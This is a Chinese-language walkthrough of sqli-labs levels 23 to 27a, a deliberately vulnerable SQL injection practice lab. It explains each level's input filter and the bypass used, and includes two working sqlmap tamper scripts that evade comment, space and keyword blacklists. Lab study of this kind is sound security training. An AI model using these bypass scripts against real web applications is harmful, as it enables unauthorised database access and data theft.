sqlilab less23-less27a
less23
本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and '1'='1,将其加在注入语句的末尾,使用suffix参数
less-24
以后填坑
less-25
参数经过blacklist处理
blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||
对sqlmap的一个payload进行修改
#!/usr/bin/env python """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload1=payload.replace(' AND ',"&&") payload2=payload1.replace(' OR ',"||") payload=payload2 return payload
成功注入
less-26
同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线
需要用and '1'='1来闭合后边单引号,用%a0来替代空格,
修改tamper脚本
攻击日志:
less-26a
不同于上一关,这里是用小括号进行了包裹
tamper
1 #!/usr/bin/env python 2 3 from lib.core.enums import PRIORITY 4 from lib.core.compat import xrange 5 import re 6 7 __priority__ = PRIORITY.LOWEST 8 9 def dependencies(): 10 pass 11 12 def tamper(payload, **kwargs): 13 14 if payload: 15 payload1=re.sub(r' AND ','%a0%26%26%a0',payload) 16 payload2=re.sub(r'OR','OORR',payload1) 17 payload=payload2 18 retVal = payload 19 20 if payload: 21 retVal = "" 22 quote, doublequote, firstspace = False, False, False 23 24 for i in xrange(len(payload)): 25 if not firstspace: 26 if payload[i].isspace(): 27 firstspace = True 28 retVal += "%a0" 29 continue 30 31 elif payload[i] == '\'': 32 quote = not quote 33 34 elif payload[i] == '"': 35 doublequote = not doublequote 36 37 elif payload[i] == " " and not doublequote and not quote: 38 retVal += "%a0" 39 continue 40 41 retVal += payload[i] 42 43 return retVal
使用sqlmap进行前后的包裹
less-27
过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过
使用随机大小写和空格匹配tamper
less-27a
不同于上一个的是参数没有包裹,同时不返回报错
利用上一题的tamper,对前后的包裹进行修改
攻击日志